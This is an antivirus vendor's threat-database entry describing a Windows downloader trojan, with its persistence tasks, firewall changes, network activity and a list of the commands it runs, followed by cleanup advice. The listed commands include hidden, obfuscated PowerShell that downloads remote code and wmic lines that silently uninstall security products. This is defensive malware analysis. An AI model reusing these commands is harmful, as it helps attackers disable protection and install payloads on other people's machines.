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Trojan.DownLoader34.17090

Added to the Dr.Web virus database: 2020-08-03

Virus description added:

Technical Information

To ensure autorun and distribution
Creates or modifies the following files
  • <SYSTEM32>\tasks\blackball
  • <SYSTEM32>\tasks\so2beggb
  • <SYSTEM32>\tasks\emn3bfry\dlateg
  • <SYSTEM32>\tasks\microsoft\windows\47fngvyjyc5\uivjzugm
Malicious functions
Executes the following
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 DNSd
  • '<SYSTEM32>\netsh.exe' firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
  • '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
Modifies file system
Creates the following files
  • %WINDIR%\temp\svchost.exe
  • %WINDIR%\temp\eb.txt
  • %WINDIR%\bkwx.exe
Network activity
Connects to
  • 'localhost':80
  • 'localhost':43669
TCP
HTTP GET requests
  • http://t.##ynx.com/gim.jsp
  • http://t.##ynx.com/a.jsp?gi#########################################################################
UDP
  • DNS ASK t.##ynx.com
  • DNS ASK microsoft.com
  • DNS ASK t.##3r0.com
  • DNS ASK t.##r9g.com
Miscellaneous
Creates and executes the following
  • '<SYSTEM32>\cmd.exe' /c echo kYSXXe >> %WINDIR%\temp\svchost.exe&echo "*" >%WINDIR%\temp\eb.txt&netsh firewall add portopening tcp 65529 DNSd&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1...' (with hidden window)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c echo kYSXXe >> %WINDIR%\temp\svchost.exe&echo "*" >%WINDIR%\temp\eb.txt&netsh firewall add portopening tcp 65529 DNSd&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn \So2bEgGB /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn \So2bEgGB
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]:...
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn eMN3bFry\DlatEG /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\schtasks.exe' /run /tn eMN3bFry\DlatEG
  • '<SYSTEM32>\schtasks.exe' /run /tn MicroSoft\Windows\47fngVyJYc5\uIvJzUGm
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avast%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c netsh.exe firewall add portopening tcp 65529 SDNSd
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa2 /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa1 /F
  • '<SYSTEM32>\schtasks.exe' /delete /tn Rtsa /F
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn BkWx /tr "%WINDIR%\BkWx.exe" /F
  • '<SYSTEM32>\schtasks.exe' /run /TN BkWx
  • '<SYSTEM32>\cmd.exe' /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Norton Security%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%AntiVirus%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Security%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%avp%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\47fngVyJYc5\uIvJzUGm /F /tr "powershell -w hidden -c PS_CMD"
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
  • '<SYSTEM32>\wbem\wmic.exe' product where "name like '%Eset%'" call uninstall /nointeractive
  • '<SYSTEM32>\cmd.exe' /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvAHQALgBhAG0AeQBuAHgALgBjAG8AbQAvAGcAaQBtAC4AagBzAH...
  • '<SYSTEM32>\netsh.exe' interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
  • '<SYSTEM32>\schtasks.exe' /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\DkoUNM" /tr "%WINDIR%\DkoUNM.exe" /F
  • '<SYSTEM32>\schtasks.exe' /run /TN DkoUNM

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android